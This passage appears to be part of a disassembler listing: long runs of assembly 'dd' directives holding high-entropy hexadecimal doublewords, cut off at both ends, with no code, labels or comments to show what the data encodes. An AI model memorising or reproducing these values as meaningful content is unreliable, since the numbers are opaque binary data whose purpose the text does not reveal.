22116E6Dh, 0F5217883h, 0F6EF6541h, 8CC54F3Dh, 70FEC6BAh dd 66D8AFFh, 814F2AF0h, 0D15D55Ch, 841ECDC7h, 55D1C8Ah dd 16BAEF21h, 5BC4787h, 0C226F464h, 0A34B9F82h, 4F3DEF40h dd 0C320762Ah, 0D486F8AAh, 0F1722F2Ch, 0F350E40Fh, 0DB5B0587h dd 3AC639F1h, 0E9497866h, 75529618h, 0E90A2C91h, 5F406995h dd 3052CF63h, 160CB385h, 6BCC4DB9h, 718A5851h, 43982BBCh dd 0C5A75295h, 9C577F03h, 99EFDFABh, 0A2D56B16h, 377ADA64h dd 222EBD77h, 3B3B1E7h, 10482C3Fh, 0ACE0E105h, 4FF9F4ADh dd 3B077E2Fh, 32A714D7h, 360DD156h, 1B78FAE5h, 25D8FDADh dd 0CF89A121h, 0D7723D84h, 0A5168613h, 7AA37DCFh, 9AEC5A7h dd 37CD9097h, 0FB14F512h, 0F177C0F0h, 0F7A07DDEh, 0C9660A85h dd 5DA6F005h, 0BDB6AC29h, 0B390C87Fh, 0F5ACC557h, 0B62B0B7Bh dd 52D5CE04h, 4543E7BEh, 0F8C03315h, 57C6C477h, 0E6EFF81Eh dd 7D1F49DAh, 0D7C8691Ah, 136635AAh, 89430561h, 0FA7B8630h dd 0FE55F116h, 0AB840E3h, 0EFC4A5A2h, 70DE6C9Fh, 0FC6BD4Bh dd 0C465310Ch, 0A2F9F55Eh, 601996EEh, 8EF6C99Fh, 1875BC76h dd 0F45F9761h, 9C0500Eh, 0D558FC55h, 0F9571243h, 0C372DD48h dd 6BAB2E92h, 542346B6h, 0B544AAFEh, 0FE40FE73h, 7C943F7Ah dd 44C57CF8h, 5F81096Fh, 7F31EC6Ah, 5F1EE4C7h, 99646BABh dd 0DCC2E2F5h, 0B479FD2Bh, 9B5D49F6h, 0CDE41594h, 0E62721C5h dd 0E2B1670Fh, 0A15F3D09h, 41D4F99Fh, 0E474F66Ah, 0F3AA9CF4h dd 0E0EB2320h, 2E4CF6E1h, 0D7ACAAC0h, 4F376BA8h, 1F578016h dd 8DEAA31Fh, 0B3BBB149h, 67A0EEAEh, 7E521D2Ch, 9F8C39BEh dd 0A25FBB4Dh, 908D4FC2h, 482FDE2Bh, 2DA39170h, 0BA6A1E8Bh dd 85644114h, 2E4BE607h, 8EACD948h, 0A60EA9F4h, 1EF22EB5h dd 9C59D915h, 0D194A1A9h, 8128072Eh, 0D9ECB1F8h, 5256277Bh dd 17F476CAh, 1B7A6E3Dh, 2FAF3A75h, 468AB09Ah, 11E53AD4h dd 6BBE2EB6h, 22F8FDCAh, 0B1C1F940h, 0AF227EAFh, 57888BE8h dd 0E4E1D285h, 0CAA8D4F9h, 5162F80Eh, 0F949A634h, 0E36BC66Bh dd 21804DB1h, 0BFE789B5h, 0CDE3F8A0h, 6FCA531Ch, 5F2B9554h dd 0D4DA2D11h, 56125142h, 0B1D95300h, 0B56855D7h, 0BCDAE0B2h dd 343FBFBFh, 0F45F99BAh, 0B5240735h, 65E7124h, 0E8024732h dd 0BAD9571Bh, 822EADC7h, 0A770B991h, 0EEB9BB05h, 0AED7AC5Bh dd 0A34DEE78h, 0BEE45C38h, 0A84B7716h, 8A232386h, 0C18B934Fh dd 0E07EAF2Dh, 0E131B9Fh, 2955D4FFh, 7065C8A5h, 1BC49A6Fh dd 5F8DFCDFh, 0F2F44272h, 0FA58F9Fh, 341B8E70h, 0A1CA6412h dd 502332EAh, 46931DB4h, 45D49120h, 0AC1FFD1Fh, 1BD475BBh dd 4057095Fh, 0C5AAF3C7h, 0AA131535h, 2D656522h, 37439995h dd 4955114Eh, 5778A37Fh, 1D369799h, 1B45372Dh, 65777E23h dd 303F753Ah, 928D42B7h, 5F259825h, 2B7C4015h, 5B88D443h dd 0F14ED716h, 39D6FA8Dh, 0B4E11442h, 0B13953C3h, 150A6DE4h dd 766DB14Eh, 9F0F53A6h, 6F43D557h, 0DDE5414Ch, 579F9DC7h dd 0BF5D609Ah, 82675B1Dh, 7B474926h, 2D50303Ch, 2AB61BF7h dd 0A7BBEC93h, 379F2B4Fh, 0F2F88965h, 0C07B3395h, 0DC433EF7h dd 4E328909h, 0EC4A3818h, 1925F996h, 5D425B80h, 0D68EBC99h dd 0C0EBE72Ah, 651F95DAh, 0D8442FDBh, 8362FA7Bh, 15C5ABB9h dd 35A00DCAh, 0F78CE257h, 382C9899h, 0FEAFF2B5h, 99592982h dd 0A5AD1CDFh, 0E410B47Ch, 17DF6C6h, 3D1BFC25h, 47DCD9CDh dd 0AFB44CE7h, 0A2AF7F11h, 0B55A81C5h, 0B2D11331h, 0EFAD022Eh dd 79B03AC1h, 7D77096Bh, 0E1C4FC3Ch, 0B6E0F250h, 0FD89703Eh dd 0E61F2575h, 1ED5AA0Fh, 30A5760Eh, 6D6BCF71h, 0B6D56039h dd 7777C751h, 0B4646BAAh, 0BA301F52h, 0F7E36FFFh, 96BA52F6h dd 44C7612Fh, 8FD489E9h, 915F5ABCh, 8DFEA452h, 70AAF491h dd 78D2BAC4h, 32EEA12Dh, 0BAD0AF76h, 44555BB2h, 5CDDD128h dd 49B655A6h, 265C5597h, 7479D929h, 0C607F908h, 0A0C5323Fh dd 0F425E118h, 6656E50Eh, 0AAFA54C8h, 0E17D82A5h, 3A4585C9h dd 0A1FD6665h, 94E65733h, 0C169FD66h, 0D1DD67D1h, 9A951D0Eh dd 9686C62Dh, 20BB6F2Ah, 4E30FB61h, 0A888016Fh, 58CA711h dd 0F4BAE4FDh, 158B5470h, 0CBF7D562h, 9A7757E1h, 4AFF0306h dd 0E0BBB96Ch, 0BACF81F7h, 4793BCFAh, 0CB11F551h, 0D267A904h dd 0CD7877CAh, 0E81206FDh, 0F1793C68h, 0E7C778A3h, 22AF328Dh dd 89CF0162h, 2AB866A9h, 93C9EA96h, 294467E9h, 7DA3B2D0h dd 0B181C00Eh, 81B7C6BFh, 0DC573BA9h, 0A068FBE7h, 0C376F4CFh dd 62BAA6BBh, 0C4A48604h, 0DB73F109h, 2398294Eh, 0A075ABBFh dd 4F7813EBh, 0A2CC57B4h, 0C3071438h, 0D295C71Fh, 0EEF5F93Ah dd 0C96DE7F2h, 6E2E6CABh, 0A7C138E5h, 0A18BDE0Bh, 81D74742h dd 2925D1C6h, 0E91DD1A7h, 789BF23Fh, 7AEA8103h, 0CDCA02ADh dd 61F802B0h, 51BF9964h, 5F808CF7h, 0F30979D7h, 0DBF2714Bh dd 0D52CF144h, 9164EE89h, 31AA83E9h, 948DE451h, 5046EEF4h dd 617D7A5Bh, 0A4C2C467h, 0DF07A77Dh, 18DC531Ah, 7E5C6FFh dd 0EB2FEA96h, 541250BDh, 0C67545F8h, 715DB288h, 63FDF798h dd 62C6F299h, 68DA65FAh, 0DDADFB9Ah, 0E6CF3DD8h, 4CD55ACEh dd 0A5A9B2ACh, 0F4EE512Eh, 551C24Ah, 4B463A27h, 0FC56B08Eh dd 308CABFDh, 9DCAC2A8h, 8BF80FCFh, 0A8C4D7F8h, 0AF89F8FBh dd 0F39BDCBFh, 76E87485h, 175A14C4h, 0BAA29AB5h, 0CAFDCB22h dd 0E83D772Dh, 0B9E9DB58h, 625D3BCBh, 0A920D464h, 0AFD7E303h dd 0D9174C9Bh, 116FA1BAh, 7267BFF0h, 6F5656E5h, 0E2FE3DD3h dd 3EDD74F0h, 3A1A14ECh, 77E1D8EEh, 0C866A6B9h, 2F72516Bh dd 4E1BC97h, 0E77312Fh, 0C7B3F765h, 57C44442h, 1F99F9BAh dd 0F421AD2Ah, 7A570171h, 6B65B2D5h, 0C1B45E8Ch, 71D54F03h dd 0A3994477h, 271E5335h, 0FF3B26ACh, 68E50EEEh, 0A4980331h dd 1104BBB9h, 614E33EBh, 0F4D9B44Fh, 898CAA3Bh, 7D297773h dd 0BE7529C6h, 7830D68Dh, 0D9EE681Bh, 5DAEBE2Ah, 0C1052E9Eh dd 7F2A6A13h, 935FDEDDh, 5FB10C1Eh, 0EBACFC77h, 7F7999C8h dd 61B139D3h, 0FC361537h, 5A060D59h, 0C608A0E6h, 6048FE3h dd 6F393E1Fh, 6E4EA467h, 9F5FF281h, 0CDC6062Dh, 0D7E8728Ah dd 3ABD9AF0h, 0EF35698h, 569583DFh, 0A860FC3Dh, 5229FCEAh dd 195FED53h, 0D38438BCh, 0B3357ED1h, 0BCF4F9E9h, 0FC3170A6h dd 72103870h, 50409266h, 0A7CD9081h, 0E51B25D5h, 0F63D16E7h dd 75D78DCFh, 48BD7BB4h, 6955D4F5h, 1376DC8h, 7480E705h dd 55F69750h, 1F9AB836h, 0ED2ED531h, 80CBD2BCh, 6882EA03h dd 0FF054F2Bh, 0E687E73Ah, 2FEFB408h, 6596ADC8h, 2D1E1FEh dd 2996C741h, 4AAA22A9h, 139DD9C9h, 0A5747718h, 44FAE508h dd 0C2C18BEBh, 87760Dh, 19F4C658h, 791ECAF6h, 4EC4295Dh dd 7637816Ch, 472B5155h, 7912255h, 0D32568E6h, 543DCB9Fh dd 0BAEDBC1Eh, 3AD5E4B8h, 7FC76A51h, 9B77AD89h, 6E099BC7h dd 0E19400AEh, 0B2174452h, 0B18D5049h, 0F0DE8C4Ah, 558A24ECh dd 0D1CE4CA3h, 0A26DBD4Eh, 0EAD19CF8h, 0F980CC7Ch, 0BA5C2ACAh dd 3C2535B1h, 4D17C3AEh dd 0B06D7720h, 0A89AE1F7h, 144B1D0Dh, 5747B544h, 0E4DF4D5Fh dd 0ABF243FDh, 0EB54CCFEh, 505A622Fh, 14DCF12h, 0D6AAEAC0h dd 0D89CEFB6h, 8FC0EDEDh, 0A66B22EBh, 0C09BF051h, 0A8ACE988h dd 8FFE5BB5h, 0CDE57165h, 68F05F15h, 446C9B81h, 0C80BFF14h dd 72EAE665h, 26BCB121h, 0D5CAE8DAh, 965B2057h, 0F5B4C5C3h dd 0E47BEF33h, 0FC75C11Dh, 0F8D2B385h, 0C6FDCFB4h, 0A04E80C4h dd 5CEE769Dh, 0E5FD719Ch, 0AB28BE30h, 0F9B0668Eh, 0F8768C73h dd 95B164B7h, 0F4AEB631h, 3A68DE3h, 66CABACEh, 5855937Ch dd 0C6836718h, 642DADC5h, 6DAC2C38h, 0DC6D8AD2h, 0BA37398Ch dd 0A34A1F53h, 8991646h, 0F47DC1C2h, 433CF8Ah, 76FDBF7Eh dd 95F3505Dh, 5E6BA997h, 0F7ADCFBFh, 0B3D145C7h, 636FD53Bh dd 1450A2E2h, 0C36640DBh, 91D8F88Fh, 0DD1E53A5h, 96E6DFBAh dd 0EDAE6F94h, 0D6EF21F8h, 0B3E14946h, 6F0AEA02h, 657A7DAAh dd 7DA417F0h, 5FCAF347h, 5946CDBCh, 62CEBF8Dh, 42DAB85Ah dd 0AFA032B5h, 2E47D3E1h, 8E9B1028h, 298DAA3Fh, 0E8A8D029h dd 0FE799EFDh, 0CC6C1525h, 76B14C9Ah, 29BCAAF9h, 5FDB2D64h dd 84BF0E3Eh, 4A919876h, 1978B910h, 34CDE6ADh, 0DCF8F054h dd 0A356F1AAh, 8BFB4E9Ah, 0A3A4D46Eh, 88AC1DF5h, 44114AD3h dd 0B90102EBh, 36C303B1h, 306B7F47h, 0BC8A8C77h, 0D49BBFF1h dd 402B7625h, 0B23D6EE5h, 0C3F170AAh, 0AA04E68Dh, 0AB4C3332h dd 13A305A8h, 6F04593Ah, 98DC02D9h, 13363F1Bh, 12A5061Ch dd 0F0B2ED8Bh, 2F59D05Ah, 0DA27DF81h, 267923A8h, 8E250D8h dd 9257D71Eh, 7F4EC181h, 0A2F38FC1h, 97AF87D9h, 72C1A513h dd 913BAF3Dh, 0D7509EEh, 3F353326h, 160EF31Dh, 5CBDFE0Fh dd 0F1B0FB8Bh, 0F382C957h, 6D7BFC15h, 69C92A75h, 94EDBBD4h dd 1D4BF3Ah, 1BBE07EAh, 3F07C65Ah, 1A45F1Ch, 3FAC8DC3h dd 51D9AD5Ch, 0BD19B317h, 6D1B80B6h, 170A91F1h, 13BC28ECh dd 0ECA3AA38h, 0E6F1543Bh, 2D7AA987h, 1B610BDAh, 0D751596h dd 6844E217h, 16269175h, 4D33F9DFh, 4432297Fh, 5754FA88h dd 0D9AB55C3h, 9EF89652h, 0AB831F39h, 90DCE61Eh, 0CA6A021Fh dd 0CBBDF734h, 0FB35916Ch, 0E406A7CEh, 0B8E58A45h, 106F80BAh dd 0F8B8D18Ch, 8F76C2B2h, 898D93ECh, 0D0B62D19h, 0E379FA9Ch dd 7ED7835Bh, 0ADAF52BAh, 952FE466h, 0FC06306h, 0EBFC5A77h dd 0B342C2EFh, 32CBCECFh, 0B5377FBEh, 0E3C946FAh, 0D8E89FAFh dd 5B3AAD87h, 8E5FC5F9h, 0BF688F73h, 0EBEEE517h, 317F29C0h dd 9AD4DA5Ah, 4C8B770Ch, 2DD2AFACh, 0E866FE5Dh, 9C3FAF3Bh dd 7CB4D87Dh, 76F2171Dh, 36CF0A79h, 0EE14E439h, 63D17D07h dd 3BB0988Fh, 3C970534h, 0F58A0578h, 21F8481Bh, 0FDD091F6h dd 2AAAFA52h, 3B254CF8h, 5E8907CBh, 0BB33D39Bh, 1566F594h dd 83C18D9h, 851D0670h, 0E4EB5BCDh, 594AFDC6h, 3EA544DFh dd 74E72569h, 1E9D3B2Bh, 0A7BD07C7h, 56D5FE40h, 0E987B010h dd 41292EBBh, 0ABB9D5FEh, 5B0475F9h, 2B0A6D75h, 0A49C3C1h dd 0D8DFEACAh, 0CC45CCA9h, 58B4B91h, 17AF6296h, 5113FF8Eh dd 9F9A00B1h, 0FBCD055Fh, 5A9CD105h, 22A03DEFh, 9404AA7Fh dd 79DFAA01h, 0BED86F84h, 0CC8AB61Eh, 68E25F63h, 3D354DDAh dd 0DA2BD6FCh, 0D18B6696h, 143AD469h, 423C5A32h, 4F7FB5D4h dd 0A0F210DAh, 6F5DB8AEh, 3C2F507Ah, 755C13BEh, 0FB972EA2h dd 0B57AA518h, 186CE14Bh, 7A3ADA98h, 9543B93Bh, 0FD6F151Bh dd 8E95E0ABh, 4BA659E1h, 9A088779h, 0FEF7D2E6h, 0E2ED3C1h dd 0A5792FFh, 7896AAFBh, 0AF877490h, 8762AE92h, 5A179C0h dd 0AFF7557Ch, 8A6FE635h, 1C8130AFh, 75D83AB9h, 0DC6B63C7h dd 47565AFAh, 0E30A781Eh, 8726BDC9h, 3515A41Ah, 6407DE35h dd 0B49C8F0Dh, 9981F68Dh, 0AE523BE0h, 0AAE4EDC5h, 0F6AFCC3Ah dd 62E4D590h, 4BC6A7EAh, 0C3DBD81Dh, 548B4596h, 0D5F5C208h dd 13C57144h, 1175F3ADh, 12D21D9Ch, 57315918h, 0AB46D2C5h dd 0C096E70Dh, 876276FBh, 72E2BA4Dh, 0E1538C7h, 0E251EDCFh dd 2FEDE615h, 31D45D82h, 16A1A381h, 85A94C14h, 0D3FCDE7Bh dd 0C946A1C2h, 0FE1682ECh, 0B80BE12Dh, 0BB76BC56h, 13BF47B5h dd 15AFAB40h, 0E6FA82DEh, 0EC9503D8h, 0BEFD2906h, 425516A4h dd 2D142558h, 269D52CDh, 4EAA75CCh, 0E58DF8EBh, 226F2DE8h dd 76E4D77Eh, 0DCBBC7E6h, 0EED645CFh, 5BCAC257h, 524BD476h dd 4D60032h, 0F07CF879h, 155C5F12h, 47959D73h, 0B6AD5371h dd 0E5E107EEh, 236EE467h, 0F24B14FEh, 8D10DF4Ch, 90D355EBh dd 0CCEB9A2Bh, 96247D12h, 7546D62Eh, 0C42D207Dh, 995BDF9h dd 0B3A8856Bh, 9E28DF8Eh, 0F5C054EAh, 6C001C7Ch, 5EBBD9FBh dd 4B2C54FFh, 6B3B8B75h, 0BAC9AB4Bh, 0F9138F46h, 29F6CE61h dd 38FD6510h, 14068634h, 6F654FFBh, 27C1B290h, 3CAA8BD3h dd 0B333D620h, 5426B330h, 0D209B8B4h, 79C63575h, 0EE494814h dd 1E92BF4Bh, 0CAB2D9F5h, 1E80932Bh, 2B212DBEh, 81E11AA8h dd 953FEA1Dh, 7F40DD40h, 55F26BD1h, 0DF393D2Bh, 0C6E20493h dd 6BECCC66h, 99773E7Ah, 9C40FDFh, 7720B229h, 89BF2BF9h dd 1EDB8105h, 5CC6DA27h, 30BDCFDh, 5E07B360h, 0ED5670A9h dd 0F97CE708h, 2ED82345h, 0BE726CB4h, 3B2FA8B2h, 0E5785EE7h dd 39D80375h, 7F54682h, 0EE386C66h, 3AB950AAh, 72D38944h dd 6671D89Bh, 5E74BB64h, 33B156AEh, 2514CED7h, 0ACA8FB5Dh dd 0FC069E3Ch, 0E140BDD0h, 6FF85EF2h, 2BB43774h, 0BB2ABB42h dd 4B0E1565h, 7651A645h, 37F48D4Ah, 357CB0F5h, 0FB12BB85h dd 0ABD5ECF2h, 0FDBC2E82h, 87889AE5h, 0B2DADFDDh, 29F6F67Ah dd 8998311Dh, 0B3E6E1F4h, 72CE6E4Ch, 0CA5F5F83h, 38767FF9h dd 1B271845h, 2BF68B89h, 0F56549D6h, 0F0F1134Dh, 65D0F9F7h dd 0D7726FDEh, 8C56EB56h, 0FB405D96h, 0B2E40541h, 0CED3F511h dd 775B681Fh, 0F114205Bh, 0FE0C9241h, 0D7505FAAh, 0AC04055Ah dd 657FB8CFh, 0A89AD2FFh, 0AB8A3ACDh, 8D383305h, 1FA484F3h dd 9538C4C2h, 1540DEDh, 0C5A5D9C5h, 5BE5A36Bh, 49F43FA1h dd 736B1AF4h, 4F2F461h, 0C35F504Dh, 9DEEACD9h, 689A7B68h dd 0B9F2C655h, 9EFC30EDh, 0CD1A190Ch, 15528F07h, 0BF0DC44h dd 0F4CB4692h, 6FD624ECh, 0D60F42C6h, 7C78976h, 2DFDCE5Fh dd 286737C9h, 650BB745h, 2C7A3F25h, 5572A4C5h, 9CD050EAh dd 0B8D4F40h, 6A355658h, 0BAB784B4h, 0CDB1918Dh, 0FC29A8BAh dd 735FFA92h, 0CD7FC732h, 0D6065F50h, 6CA1718Eh, 0A5FD2D15h dd 0BA99BACCh, 30C7ECDEh, 3EA644A6h, 0D2F7F10Ch, 43F0793Dh dd 0AAFEE942h, 8336563Fh, 36E102BBh, 0EA7574CBh, 0AECD55E2h dd 0A260B3FBh, 7E37679Bh, 0CE32A120h, 66AEB352h, 0F2263793h dd 10164785h, 4A6ADDB9h, 0DA4B4868h, 1E888EABh, 0E54B4C31h dd 51F8715Eh, 17101148h, 33085A3Ch, 5D5DB31h, 0D7A8CB06h dd 2DC83BA9h, 0A3812D62h, 2B662AB4h, 0DE5656DBh, 0E7BA21F0h dd 3A39BEAAh, 1247F56Bh, 418BA870h, 0D3339742h, 7E33BA7Fh dd 75AD5098h, 694C1DD0h, 0E4D297FBh, 71B5E4BEh, 52A91B12h dd 0FCEDD2AEh, 1320DC32h, 0C31DCC33h, 0BCDD2EDAh, 857FDBE9h dd 0FC4680Eh, 0AA849EE9h, 4A3CC0FBh, 72A2D4EBh, 3C8ED495h dd 5856616Dh, 14584873h, 7C24344Bh, 83BAA49Dh, 6D58DBFAh dd 32B1125Bh, 0E37087E1h, 6A4FC5F6h, 0D13F38CAh, 53CE22F2h dd 0DCB5BEA8h, 6C519707h dd 1B44CAC5h, 36BD2096h, 137F9323h, 728BAB8Eh, 9A9F01D4h dd 2AF6FEE6h, 0C2D23AE3h, 753F507h, 0AAE9A876h, 3F7AA587h dd 4ABC3F31h, 735FF98Ah, 242E6DDBh, 756522EFh, 0A73B974Dh dd 0F2E91668h, 75F38C2Bh, 1FD62130h, 0C0EFA098h, 945F5D62h dd 5692C068h, 149B94E4h, 0AAF8F23Dh, 0C3210E0Ch, 23495167h dd 0CD1A5CC9h, 5760310Ah, 357E976Eh, 0C2AD3408h, 7E37699Ah dd 0D4A79CBFh, 2F165603h, 99A09AF5h, 0C356FA6Dh, 0E2A3B45Eh dd 0BC92BF21h, 8C13502Eh, 6A78FCAEh, 5855A102h, 0AA3D4AF3h dd 0A1739B34h, 0C5075D52h, 74B2ABC1h, 0EDE7A225h, 0AD3535C8h dd 0FFBBC66Fh, 7E83DDCEh, 8253231Fh, 260A3DC8h, 0BA2AC826h dd 0E1FC71C0h, 0EC40A8D5h, 0D9BBB7AAh, 2AF3535Dh, 0E3643F88h dd 7D54B87h, 770BF3D1h, 9D9FC5Ch, 732A5E8Eh, 0D761EA80h dd 0DFFADC6Bh, 9434E862h, 0ADAF2B2Eh, 0E6925FCBh, 0FEF8F505h dd 7C77C289h, 4A725362h, 1743E914h, 3F431705h, 1BDDCB42h dd 24DCA055h, 0ADF39F45h, 0F86A7516h, 9BF1D07Dh, 494AAF30h dd 0F4491A1Ah, 9F75DD86h, 47B1BBAh, 0B1C34385h, 0B7AE4371h dd 0AD57539Dh, 5F1B894Eh, 9808A459h, 2A02ACEDh, 0E610A701h dd 14575014h, 103F7BA1h, 0ABA44823h, 8A7D1808h, 84CB0938h dd 30E3404Ah, 0E6028EE1h, 2630E231h, 0A04C7B9Ch, 0A0284653h dd 18300477h, 6023BF58h, 0F944BD08h, 2054D014h, 0A50187CCh dd 50146026h, 623E3FB8h, 8FA0C903h, 290368C2h, 5181C206h dd 0D461D1Eh, 4634BCC2h, 1510268h, 0A6A9E33h, 1280A2ADh dd 4710604h, 7CA10566h, 572C163Ch, 6387C154h, 63D4741Bh dd 0BFCCA337h, 64665200h, 0A08C8454h, 1A00EA40h, 5D1504F7h dd 29C2EE8Ah, 0F8B1E60Ah, 87305390h, 6A02E174h, 94CC13DCh dd 3D18FA40h, 4D1D633Dh, 7A3441A3h, 0B89A461Ch, 34609351h dd 2854A30Eh, 4F98C68Ch, 154D32C3h, 3A2A81AAh, 0C8BFE616h dd 0ECE686CBh, 57840FEBh, 83E947D0h, 3525B91Eh, 0A0AA15B7h dd 0F467574Bh, 879820A2h, 70FC6569h, 51EE7BAEh, 0E9CC2EF5h dd 1EBFD18Bh, 95C90F9Fh, 6BFBDD38h, 93BFF2A6h, 8B4D2F2Fh dd 0E12CC97Dh, 35308D82h, 6F61D752h, 0C5A975AFh, 0E196F8CAh dd 751A08DAh, 3FA39C5h, 2D8B6427h, 0D54AC378h, 0F86A3EEh dd 1ED17174h, 0AA170CECh, 48DE35CEh, 0C9313F0h, 0CF5E179Dh dd 12A90A95h, 0FB5DAA3Dh, 0EA269BE5h, 0D1292E74h, 7525ABE7h dd 0B702D552h, 948956E1h, 0B7FD395Fh, 3732D94Ah, 0A635D72Ah dd 0BE347AAAh, 0BEB73E8Bh, 57E2DBEAh, 9F38A6E4h, 3DA47D69h dd 677FE74Eh, 0A8ABED05h, 7D4F739Ch, 4BF2C0B3h, 2AFCF9F0h dd 2F7F3E50h, 99D40Ch, 5B7F4751h, 1E0D9AC0h, 8BBD2BF8h dd 4A133339h, 17F8973Ah, 1E6FE2C2h, 572EFF6Eh, 42EA5824h dd 0E7C9FF69h, 5FD21453h, 7A38E1FDh, 629820D8h, 621B60F6h dd 13D61F97h, 0BAB4AF57h, 0AFE9EB90h, 735FEA9Dh, 7E60FD89h dd 0BF3B99AEh, 318028D1h, 0B23A5953h, 475FE311h, 0D384F956h dd 0F05B2BFCh, 16893C3h, 4BE3B760h, 737CDB50h, 0CBFD95DBh dd 0AAB12737h, 0D4D0992Dh, 0CF5E80E1h, 55A1AC04h, 61898D33h dd 0C09755E2h, 0BACA817Dh, 0E924FDDBh, 0E2F0D7CEh, 45AFA3F9h dd 13573F93h, 8CC47B55h, 0F7CBCA1Ch, 3F95D11Ah, 0F672C0F8h dd 2DC2C232h, 6CB99C68h, 7BBD44A9h, 3EF5DF5Ch, 0D00A4DBAh dd 607BD5ABh, 0DC5EB62h, 88865DAEh, 0EFCC538Dh, 842AB44Ch dd 0BD09BF9Bh, 0B8C9D74Bh, 3D55578Ch, 0D6D272BFh, 0C8702AC9h dd 0CEEDD722h, 0A438A8D8h, 0A9633DAEh, 0D29AD78Bh, 9929F869h dd 2BA7F417h, 3069DD7Dh, 29D7E9F7h, 340BAD6Eh, 0F3AC987Ch dd 4BFAD542h, 0ADB5DCE8h, 6EE3870h, 0A7BA4D91h, 2356992h dd 0FC119CCh, 8D44536Bh, 1F1EDEABh, 0F7E7BF58h, 0F6A0FA71h dd 119E97E5h, 0E0FF5B2Dh, 9A71912h, 8DF051B5h, 4ED4869Ch dd 0DF6C85E2h, 0CB5D19D8h, 585F4320h, 7DE76E47h, 641DB289h dd 8905D9D7h, 85A2D6F3h, 9B4BAFA0h, 0C11BDBF6h, 153D4713h dd 0F473CAD5h, 23C8F632h, 0D7C59B2Bh, 0BA288D44h, 0C4278530h dd 29F61646h, 0A3E3F294h, 4697F99Dh, 0ADBD02B7h, 73114199h dd 0A356C941h, 1F6C57E1h, 0CEC4225Ch, 0AAD75637h, 0B128AB8Eh dd 4FB5625Fh, 0E52BB972h, 0D6F892D1h, 727DAE3h, 66E03C35h dd 9158AE2Bh, 734A4E80h, 0B67BDB74h, 1B2BA504h, 0CAFBDDE6h dd 0E733E7D2h, 10FC1FF0h, 5C897D2Dh, 11B53D6Dh, 0D0808BDDh dd 0AEC8E993h, 0FA45AF0Fh, 453C13DCh, 720C1A8Fh, 0EE3B7712h dd 68B3448Ah, 32D3F815h, 0A0D44B46h, 0AD0E7E77h, 3E638B26h dd 2F524ECCh, 0A565DB5Eh, 0C6DEA55Ch, 0CB58A253h, 0C3C974D9h dd 0C3AD7BB1h, 25A86CB7h, 0BAA702C4h, 266DC0A4h, 0BDC230B2h dd 0D4F31D64h, 175C779Ah, 0A459223Bh, 85C0EABDh, 0F0325D4Ch dd 21C9B043h, 0AA9D65FFh, 0BFCE89C9h, 0FC7D6C5h, 0C0405B33h dd 425855FCh, 55B0EC29h, 67C36553h, 49D07AEAh, 57F41188h dd 12FBB24Ch, 2EED6A26h, 0A53268DEh, 0DD358A4Fh, 5411A472h dd 0EFF68C5Bh, 0DEBB5DBDh, 0B76DE2FAh, 0E73D2BD2h, 54A110AFh dd 1670B8C0h, 5461792Fh, 93819DB0h, 2E8FE7B5h, 0D06FEF99h dd 9E702BCDh, 4565A923h, 7E5A3689h, 75E4EEAAh, 42D8A151h dd 4B2B139Eh, 0B38C1F8Eh, 0DFCAFE97h, 7A9CA695h, 51704BF0h dd 0F1324EF4h, 2E122947h, 3DDD1D1Eh, 0E16A6DDEh, 9406EE2Bh dd 0E2E9B56Eh, 0F2E81BEFh, 0CD20644Ah, 6555B5AEh, 852B6AB4h dd 0F1DE6B65h, 0CA0B3B57h, 0AD176CB1h, 55652B9Ah, 7B236FB8h dd 402EA0E9h, 0E521EBAEh, 99C2396Eh, 3948576Bh, 9F58A1D3h dd 18D030Fh, 833B215Ch, 946D2510h, 5335CD9Eh, 54189FC1h dd 0FC21474Dh, 572CFD90h, 3345776Bh, 0CBA38CB0h, 5FF70CCh dd 9ABB213Dh, 34597F0Bh, 155A562Dh, 35A15CB1h, 0B7D1D574h dd 0EE5162F5h, 673B21FEh, 69A19D2Fh, 0D1E6D544h, 5DD4C19Fh dd 0A856BFC1h, 8A454892h, 8F644758h, 635D2096h, 0BEC28717h dd 477016F2h, 0C6016EC6h, 7FA13E7Bh, 6B31F2A0h, 0B1BD74AEh dd 0E3A5D0EEh, 3CC784B0h, 416BC93Eh, 7158C051h, 2AFD3B5Ch dd 17E01F87h, 964E37BDh, 4BBF4771h, 0D51742C0h, 4CFCBFFBh dd 9BEC52Eh, 0CD2A8127h, 35C7AEF5h, 7401F60h, 77DD7DAh dd 56826953h, 0C55612D4h, 0EB28D834h, 0FF695567h, 0BC0B0CC9h dd 17FC2863h, 60C8B59h, 2E56FE23h, 0AF45D789h, 4A7D792Dh dd 6B8A67CBh, 581F82FFh, 428846F8h, 2F06BE21h, 6F65BF2Dh dd 0E056721Eh, 5E4B4D7Fh, 7DA12BBCh, 0A4A8468Dh, 1C6C2926h dd 2AB6352Eh, 524C2B9h, 31811715h, 799D2566h, 7C45F7E1h dd 2A5B5A50h, 0D8F743Dh, 2FC73C09h, 0F1F5F73Ch, 0FC25C9E5h dd 602A395Bh, 0D77D0949h, 54AE7183h, 0FF701930h, 0F339E96Ah dd 317C9CF9h, 0CD0A7514h, 0EBDDDEE4h, 0C9FE0EA6h, 77DA75A5h dd 3EC3EF98h, 7EAC0C93h, 64BAABD9h, 9C758D7h, 0D18C9EE5h dd 0CE0A1B01h, 6BDBDC15h, 69E46222h, 0E14724E8h, 46577F2Ch dd 56951654h, 8FB48985h, 11DC563Eh, 0CF87E51Ch, 0B0CE1879h dd 997CB1DAh, 74B09105h, 45B79EC7h, 0F4F9556Bh, 0B0BF7867h dd 5CDC9627h, 906EF5F1h, 3A05453Bh, 29D382D2h, 39E8476Fh dd 0B2CFEA73h, 0D6AE4A2Ch, 0CE68E2C5h, 73647ED9h, 0BBEA95EDh dd 7A53B818h, 2FBC82F1h, 0F20E79A6h, 0BE7E23C5h, 9B399E9Ah dd 7F0D4167h, 9BC73C30h dd 5E312A85h, 30DD6A9Ch, 3C780DBBh, 0E285D438h, 44B2605Eh dd 0DDA83C5h, 6E724D7Eh, 0EFE533A7h, 119560D9h, 1BD7995Eh dd 0F0A0BA9Ch, 965236E0h, 0C05C581Fh, 7579406Fh, 8BABD71Eh dd 8F96C22Bh, 5A3CD2Fh, 0C5BA5D84h, 0E7DB75A6h, 0CD664BAAh dd 1A457FCAh, 0C5EA274Dh, 0AA4C0E09h, 20412AF8h, 0F03C3571h dd 0F3C4FAD5h, 99745E1Dh, 0F3E97C20h, 0AA4B6AA7h, 0D97C72C2h dd 0FA6068A6h, 54FA3375h, 0FAC7632h, 5DA2321Dh, 28FFCFB4h dd 42BE446Fh, 0B45D90CBh, 257F9724h, 46C89DD0h, 81F8BDB1h dd 7FAF1F7Eh, 9354D7Bh, 4A015570h, 